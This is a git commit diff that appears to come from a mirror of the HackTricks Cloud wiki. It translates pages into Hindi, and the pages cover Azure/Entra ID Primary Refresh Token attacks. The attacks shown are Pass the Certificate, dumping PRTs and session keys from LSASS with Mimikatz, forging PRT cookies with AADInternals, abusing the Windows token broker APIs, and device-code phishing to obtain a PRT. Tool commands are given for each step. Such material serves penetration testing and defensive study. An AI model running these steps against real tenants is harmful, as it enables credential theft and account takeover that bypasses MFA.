mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 04:41:55 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -4,23 +4,23 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Azure में जुड़े मशीनों में, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **Azure AD CA द्वारा आवश्यक उपयोगकर्ता के लिए जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं।
|
||||
Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणीकृत करना संभव है जो **Entra ID CA द्वारा आवश्यक उपयोगकर्ता (विषय के रूप में) के लिए जारी किए जाने चाहिए** जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं।
|
||||
|
||||
बहुत सरल शब्दों में:
|
||||
अत्यधिक सरल शब्दों में:
|
||||
|
||||
- कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Azure AD से एक प्रमाणपत्र की आवश्यकता होती है**।
|
||||
- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) से साइन करता है और **इसे Azure AD को भेजता है**।
|
||||
- Azure AD क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके JWT हस्ताक्षर की पुष्टि करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है।
|
||||
- कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Entra ID से एक प्रमाणपत्र की आवश्यकता होती है**।
|
||||
- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) से साइन करता है और **इसे Entra ID को भेजता है**।
|
||||
- Entra ID JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है।
|
||||
|
||||
इस परिदृश्य में और [**Pass the PRT**](pass-the-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद:
|
||||
|
||||
- उपयोगकर्ता नाम
|
||||
- टेनेट आईडी
|
||||
- टेनेट ID
|
||||
- PRT
|
||||
- सुरक्षा संदर्भ
|
||||
- व्युत्पन्न कुंजी
|
||||
|
||||
उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**।
|
||||
उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **अनुरोध करना संभव है**।
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
@@ -30,6 +30,6 @@ Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- Pass the Certificate कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
- Pass the Certificate कैसे काम करता है इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
# Az - Phishing Primary Refresh Token (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**जांचें:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,6 +2,257 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**इस पोस्ट को देखें** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) हालांकि इसी विषय पर एक और पोस्ट [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) में मिल सकती है।
|
||||
## What is a Primary Refresh Token (PRT)?
|
||||
|
||||
A **Primary Refresh Token (PRT)** एक दीर्घकालिक रिफ्रेश टोकन है जो Azure AD (Entra ID) प्रमाणीकरण में उपयोग किया जाता है, जो Kerberos TGT के समान है। यह Azure AD-से जुड़े डिवाइस पर उपयोगकर्ता लॉगिन के समय जारी किया जाता है और इसे विभिन्न अनुप्रयोगों के लिए एक्सेस टोकन अनुरोध करने के लिए उपयोग किया जा सकता है बिना क्रेडेंशियल्स को फिर से पूछे। प्रत्येक PRT के साथ एक **सत्र कुंजी** (जिसे प्रमाण-स्वामित्व कुंजी भी कहा जाता है) होती है -- एक सममित कुंजी जो अनुरोधों पर हस्ताक्षर करने और यह साबित करने के लिए उपयोग की जाती है कि क्लाइंट के पास PRT है। PRT स्वयं एक अपारदर्शी, एन्क्रिप्टेड ब्लॉब है (जो क्लाइंट द्वारा पढ़ा नहीं जा सकता), जबकि सत्र कुंजी का उपयोग टोकन अनुरोध करते समय PRT को शामिल करने वाले JWT पर **हस्ताक्षर** करने के लिए किया जाता है। दूसरे शब्दों में, केवल PRT का स्वामित्व पर्याप्त नहीं है; एक हमलावर को वैधता साबित करने के लिए सत्र कुंजी की आवश्यकता होती है, जैसे कि प्रमाणीकरण के लिए Kerberos TGT और इसकी सत्र कुंजी दोनों की आवश्यकता होती है।
|
||||
|
||||
Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में **TPM** (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह **मेमोरी से PRT और सत्र कुंजी को डंप करने** का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का अनुकरण करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है।
|
||||
|
||||
## How Does a PRT Work?
|
||||
|
||||
Here's a simplified breakdown of how a PRT operates:
|
||||
|
||||
1. **Device Registration:**
|
||||
|
||||
- जब आपका डिवाइस (जैसे Windows लैपटॉप या मोबाइल फोन) Entra ID से जुड़ता है या पंजीकरण करता है, तो यह आपके क्रेडेंशियल्स (उपयोगकर्ता नाम/पासवर्ड/MFA) का उपयोग करके प्रमाणीकरण करता है।
|
||||
|
||||
- सफल प्रमाणीकरण के बाद, Entra ID एक PRT जारी करता है जो विशेष रूप से आपके डिवाइस से बंधा होता है।
|
||||
|
||||
2. **Token Storage:**
|
||||
|
||||
- PRT को आपके डिवाइस पर सुरक्षित रूप से संग्रहीत किया जाता है, अक्सर Trusted Platform Module (TPM) जैसी हार्डवेयर सुविधाओं द्वारा सुरक्षित किया जाता है, यह सुनिश्चित करते हुए कि इसे अनधिकृत पक्षों द्वारा निकालना या दुरुपयोग करना कठिन है।
|
||||
|
||||
3. **Single Sign-On (SSO):**
|
||||
|
||||
- प्रत्येक बार जब आप Entra ID-सुरक्षित अनुप्रयोग (जैसे Microsoft 365 ऐप्स, SharePoint, Teams) तक पहुँचते हैं, तो आपका डिवाइस चुपचाप संग्रहीत PRT का उपयोग करके उस ऐप के लिए एक विशिष्ट एक्सेस टोकन अनुरोध करता है और प्राप्त करता है।
|
||||
|
||||
- आपको बार-बार अपने क्रेडेंशियल्स दर्ज करने की आवश्यकता नहीं है क्योंकि PRT प्रमाणीकरण को पारदर्शी रूप से संभालता है।
|
||||
|
||||
4. **Renewal and Security:**
|
||||
|
||||
- PRT की लंबी आयु होती है (आमतौर पर लगभग 14 दिन), लेकिन जब तक आपका डिवाइस सक्रिय रूप से उपयोग में है, तब तक इसे लगातार नवीनीकरण किया जाता है।
|
||||
|
||||
- यदि आपका डिवाइस समझौता कर लिया जाता है या खो जाता है, तो प्रशासक आपके PRT को दूरस्थ रूप से रद्द कर सकते हैं, तुरंत अनधिकृत पहुँच को अवरुद्ध कर सकते हैं।
|
||||
|
||||
### Why are PRTs Powerful?
|
||||
|
||||
- **Universal Access:** सामान्य टोकनों के विपरीत जो एक ऐप या संसाधन तक सीमित होते हैं, एक PRT सभी Entra ID-एकीकृत सेवाओं तक पहुँच को सुविधाजनक बना सकता है।
|
||||
|
||||
- **Enhanced Security:** TPM जैसी अंतर्निहित हार्डवेयर सुरक्षा के साथ, PRT सुरक्षित टोकन भंडारण और उपयोग सुनिश्चित करते हैं।
|
||||
|
||||
- **User Experience:** PRT उपयोगकर्ता अनुभव को महत्वपूर्ण रूप से सुधारते हैं, बार-बार प्रमाणीकरण संकेतों को कम करते हैं और वास्तविक निर्बाध SSO को सक्षम करते हैं।
|
||||
|
||||
## How to know if a PRT is present?
|
||||
|
||||
- Check if PRT is present:
|
||||
```bash
|
||||
# Execute
|
||||
dsregcmd /status
|
||||
## Check if the value of AzureAdPrt is set to YES
|
||||
```
|
||||
- TPM द्वारा संरक्षित है या नहीं, इसकी जांच करें:
|
||||
```bash
|
||||
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
|
||||
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
|
||||
|
||||
dsregcmd /status
|
||||
# In Device State / WHfB prerequisites you’ll typically see:
|
||||
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
|
||||
According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **without TPM binding**, the PRT and its session key LSASS (CloudAP plug‑in) में रहते हैं। उस डिवाइस पर स्थानीय admin/SYSTEM के साथ, PRT blob और DPAPI‑encrypted session key को **LSASS से पढ़ा जा सकता है, session key को DPAPI के माध्यम से decrypted किया जा सकता है, और signing key को derived किया जा सकता है** ताकि एक मान्य PRT cookie (`x‑ms‑RefreshTokenCredential`) बनाया जा सके। आपको PRT और इसके session key दोनों की आवश्यकता है—केवल PRT string पर्याप्त नहीं है।
|
||||
|
||||
### Mimikatz
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
```
|
||||
**PRT क्षेत्र** में एन्क्रिप्टेड रिफ्रेश टोकन होता है (आमतौर पर base64 स्ट्रिंग), और ProofOfPossessionKey में KeyValue DPAPI-एन्क्रिप्टेड सत्र कुंजी है (यह भी base64 है)।
|
||||
|
||||
फिर, **`sekurlsa::cloudap`** आउटपुट से, `ProofOfPossessionKey` क्षेत्र के अंदर **`KeyValue`** से base64 ब्लॉब कॉपी करें (यह DPAPI के साथ एन्क्रिप्टेड सत्र कुंजी है)। इस एन्क्रिप्टेड कुंजी का उपयोग सीधे नहीं किया जा सकता – इसे सिस्टम के DPAPI क्रेडेंशियल्स का उपयोग करके डिक्रिप्ट किया जाना चाहिए।
|
||||
|
||||
क्योंकि सिस्टम रहस्यों के लिए DPAPI एन्क्रिप्शन मशीन के सिस्टम संदर्भ की आवश्यकता होती है, अपने टोकन को SYSTEM में बढ़ाएं और Mimikatz के DPAPI मॉड्यूल का उपयोग करके डिक्रिप्ट करें:
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
```
|
||||
`token::elevate` SYSTEM का अनुकरण करेगा और `dpapi::cloudapkd` कमांड `/unprotect` के साथ DPAPI मास्टर कुंजी का उपयोग करके प्रदान किए गए KeyValue ब्लॉब को डिक्रिप्ट करेगा। इससे स्पष्ट-टेक्स्ट सत्र कुंजी और संबंधित Derived Key और Context प्राप्त होता है जो साइनिंग के लिए उपयोग किया जाता है:
|
||||
- **Clear key** – स्पष्ट टेक्स्ट में 32-बाइट सत्र कुंजी (हैक्स स्ट्रिंग के रूप में प्रदर्शित)।
|
||||
- **Derived Key** – सत्र कुंजी और एक संदर्भ मान से निकाली गई 32-बाइट कुंजी (इस पर नीचे अधिक)।
|
||||
- **Context** – 24-बाइट यादृच्छिक संदर्भ जो PRT कुकी के लिए साइनिंग कुंजी निकालते समय उपयोग किया गया था।
|
||||
|
||||
> [!NOTE]
|
||||
> यदि यह आपके लिए उपयोगकर्ता का अनुकरण करने के लिए काम नहीं करता है, तो **`AADInternals`** का उपयोग करते हुए निम्नलिखित अनुभाग की जांच करें।
|
||||
|
||||
फिर, आप एक मान्य PRT कुकी उत्पन्न करने के लिए mimikatz का भी उपयोग कर सकते हैं:
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz एक साइन किया हुआ JWT (जिसे `PRT cookie` कहा जाता है) "Signature with key" लाइन के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, `login.microsoftonline.com` पर जा सकता है, और एक कुकी सेट कर सकता है जिसका नाम `x-ms-RefreshTokenCredential` है और जिसका मान यह JWT है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस प्रदान करेगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)।
|
||||
|
||||
आप **`roadtx`** और **`roadrecon`** का उपयोग PRT कुकी के PRT के साथ उपयोगकर्ता का अनुकरण करने के लिए भी कर सकते हैं *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*।
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell मॉड्यूल को पहले प्राप्त PRT और सत्र कुंजी के साथ एक मान्य PRT टोकन उत्पन्न करने के लिए भी उपयोग किया जा सकता है। यह एक नए PRT टोकन को नॉनस के साथ प्राप्त करने की प्रक्रिया को स्वचालित करने के लिए उपयोगी है, जिसे Azure AD Graph API या अन्य संसाधनों के लिए एक्सेस टोकन प्राप्त करने के लिए उपयोग किया जा सकता है:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
|
||||
|
||||
# Convert from Base 64
|
||||
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Add the session key (Clear key) to a variable
|
||||
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
|
||||
|
||||
# Convert to byte array and base 64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate a new PRTToken with nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
|
||||
|
||||
## Abusing protected PRTs
|
||||
|
||||
Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still **abuse the PRT to obtain fresh access tokens** by leveraging Windows' own token broker APIs and security components. Instead of **extracting** the raw PRT or key, the attacker essentially **"asks" Windows to use the PRT on their behalf**. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and **focus on abusing built-in authentication flows** (no unpatched vulnerabilities needed).
|
||||
|
||||
### Windows Token Broker Architecture and SSO Flow
|
||||
|
||||
Modern Windows handles cloud authentication via a built-in **token broker** stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include:
|
||||
|
||||
- **LSASS CloudAP Plugin:** When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key).
|
||||
|
||||
- **Web Account Manager (WAM):** The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT.
|
||||
|
||||
- **BrowserCore.exe and Token Broker COM interfaces:** For browser SSO, Windows includes a component called **BrowserCore.exe** (located under *Windows Security\BrowserCore*). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by `MicrosoftAccountTokenProvider.dll` to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in LSASS).
|
||||
|
||||
When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an **SSO token** -- often called a **PRT cookie** -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an `x-ms-RefreshTokenCredential` header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources.
|
||||
|
||||
### User-Level Token Theft (Non-Admin)
|
||||
|
||||
When an attacker has **user-level code execution**, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker **leverages built-in Windows Token Broker APIs**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore exposes a COM class (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(Azure AD रिफ्रेश टोकन या PRT कुकी लौटाता है)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
```
|
||||
*(नॉन्स उत्पन्न करता है, PRT कुकी प्राप्त करने के लिए BrowserCore को सक्रिय करता है, फिर इसे ROADtools के माध्यम से भुनाता है)*
|
||||
|
||||
|
||||
### **वेब खाता प्रबंधक (WAM) एपीआई**
|
||||
|
||||
हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का लाभ उठाकर टोकन प्राप्त करते हैं।
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
```
|
||||
*(COM इंटरफेस के माध्यम से PRT कुकी प्राप्त करता है)*
|
||||
|
||||
- **[listwamaccounts](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(Azure AD खातों की सूची जो WAM के माध्यम से लॉग इन हैं; टोकन लक्ष्यों की पहचान करता है)*
|
||||
|
||||
- **सामान्य उदाहरण (PowerShell के साथ MSAL)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(चुपचाप PRT का उपयोग करके एक एक्सेस टोकन प्राप्त करता है)*
|
||||
|
||||
#### व्यवस्थापक / SYSTEM-स्तरीय टोकन दुरुपयोग
|
||||
|
||||
यदि हमलावर **व्यवस्थापक या SYSTEM** में वृद्धि करता है, तो वे सीधे किसी भी Azure AD लॉग-ऑन उपयोगकर्ता का अनुकरण कर सकते हैं और उसी **COM/WAM टोकन ब्रोकर APIs** का उपयोग कर सकते हैं। TPM-संरक्षित PRTs इस वैध टोकन जारी करने से रोकते नहीं हैं।
|
||||
|
||||
### **उपयोगकर्ता अनुकरण और टोकन पुनर्प्राप्ति**
|
||||
|
||||
व्यवस्थापक/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके।
|
||||
|
||||
इसके लिए बस उपयोगकर्ता प्रक्रिया (जैसे, `explorer.exe`) का अनुकरण करें और पिछले अनुभाग में टिप्पणी की गई किसी भी तकनीक का उपयोग करके टोकन ब्रोकर APIs को सक्रिय करें।
|
||||
|
||||
### **प्रत्यक्ष LSASS और टोकन ब्रोकर इंटरैक्शन (उन्नत)**
|
||||
|
||||
एक व्यवस्थापक अभी भी PRT का दुरुपयोग करने के लिए LSASS के साथ काम कर सकता है: उदाहरण के लिए, एक व्यवस्थापक LSASS में कोड इंजेक्ट कर सकता है या LSASS को टोकन उत्पन्न करने के लिए आंतरिक CloudAP कार्यों को कॉल कर सकता है। डिर्क-जान के शोध ने नोट किया कि एक व्यवस्थापक “क्रिप्टो APIs का उपयोग करके LSASS में PRT कुंजियों के साथ बातचीत कर सकता है”। व्यावहारिक रूप से, इसका मतलब हो सकता है कि LSASS के अपने कार्यों का उपयोग (यदि उपलब्ध हो तो API हुकिंग या RPC जैसी तकनीक के माध्यम से) PRT कुकी उत्पन्न करने के लिए किया जाए। एक और दृष्टिकोण यह है कि किसी भी विंडो का लाभ उठाया जाए जहां सत्र कुंजी मेमोरी में प्रकट हो सकती है - उदाहरण के लिए, PRT नवीनीकरण या डिवाइस पंजीकरण के क्षण में जब इसका उपयोग के लिए अनएन्क्रिप्ट किया गया हो। ऐसे हमले काफी अधिक जटिल और परिस्थितिजन्य होते हैं। एक अधिक सीधा व्यवस्थापक रणनीति मौजूदा टोकन हैंडल या कैश का दुरुपयोग करना है: LSASS हाल ही में जारी किए गए रिफ्रेश टोकन को मेमोरी में कैश करता है (DPAPI के साथ एन्क्रिप्ट किया गया)। एक दृढ़ SYSTEM हमलावर इन DPAPI-संरक्षित टोकनों को निकालने का प्रयास कर सकता है (उपयोगकर्ता की मास्टर कुंजी का उपयोग करके, जिसे एक व्यवस्थापक प्राप्त कर सकता है) ताकि विशिष्ट अनुप्रयोगों के लिए सीधे रिफ्रेश टोकन चुराए जा सकें। हालाँकि, सबसे आसान और सबसे सामान्य विधि अनुकरण और प्रलेखित टोकन ब्रोकर इंटरफेस का उपयोग करना है, क्योंकि ये सुनिश्चित करते हैं कि Azure AD ताजा टोकन जारी करेगा (सभी उचित दावों के साथ) बजाय इसके कि एन्क्रिप्शन को क्रैक करने का प्रयास किया जाए।
|
||||
|
||||
## PRT फ़िशिंग
|
||||
|
||||
**OAuth डिवाइस कोड** प्रवाह का दुरुपयोग करें **Microsoft Authentication Broker क्लाइंट ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) और **डिवाइस पंजीकरण सेवा (DRS)** संसाधन का उपयोग करके एक **रिफ्रेश टोकन प्राप्त करें जिसे एक प्राथमिक रिफ्रेश टोकन (PRT) में अपग्रेड किया जा सकता है** एक **धोखाधड़ी डिवाइस** पंजीकरण के बाद।
|
||||
|
||||
### **यह क्यों काम करता है**
|
||||
|
||||
- **PRT** **डिवाइस-बाउंड** है और **(लगभग) किसी भी Entra-संरक्षित ऐप के लिए SSO सक्षम करता है**।
|
||||
- **ब्रोकर क्लाइंट + DRS** संयोजन एक फ़िश्ड **रिफ्रेश टोकन** को **PRT के लिए विनिमय** करने की अनुमति देता है जब एक डिवाइस पंजीकृत होता है।
|
||||
- **MFA को बायपास नहीं किया गया है**: **उपयोगकर्ता फ़िश के दौरान MFA करता है**; **MFA दावे** परिणामी PRT में फैलते हैं, जिससे हमलावर को **बिना किसी और प्रॉम्प्ट के** ऐप्स तक पहुंचने की अनुमति मिलती है।
|
||||
|
||||
**पूर्वापेक्षाएँ**:
|
||||
|
||||
- **डिवाइस कोड के माध्यम से उपयोगकर्ता प्रमाणीकरण** **ब्रोकर क्लाइंट ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) और **DRS स्कोप/संसाधन** (जैसे, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** या **`https://enrollment.manage.microsoft.com/`**) का उपयोग करके।
|
||||
- **उपयोगकर्ता Entra ID में डिवाइस पंजीकृत कर सकता है** (**डिफ़ॉल्ट: अनुमति दी गई**, लेकिन इसे प्रतिबंधित या कोटा-सीमित किया जा सकता है)।
|
||||
- **कोई अवरोध CA नीतियाँ नहीं** जो **डिवाइस कोड को अक्षम** करती हैं या **लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस की आवश्यकता** करती हैं (वे PRT जारी करने को रोकेंगी, लेकिन **इसे** संरक्षित ऐप्स तक पहुंचने के लिए **उपयोग करने** से रोकेंगी)।
|
||||
- **हमलावर-नियंत्रित होस्ट** प्रवाह को चलाने और टोकन/डिवाइस कुंजी रखने के लिए।
|
||||
|
||||
**हमला प्रवाह**:
|
||||
|
||||
1. **क्लाइंट_id = ब्रोकर** और **DRS स्कोप/संसाधन** के साथ **डिवाइस कोड प्रमाणीकरण शुरू करें**; पीड़ित को **उपयोगकर्ता कोड** दिखाएँ।
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **शिकार Microsoft की साइट पर साइन इन करता है** (वैध UI) और **MFA** पूरा करता है → **हमलावर को DRS-स्कोप वाला रिफ्रेश टोकन** मिलता है Broker क्लाइंट के लिए।
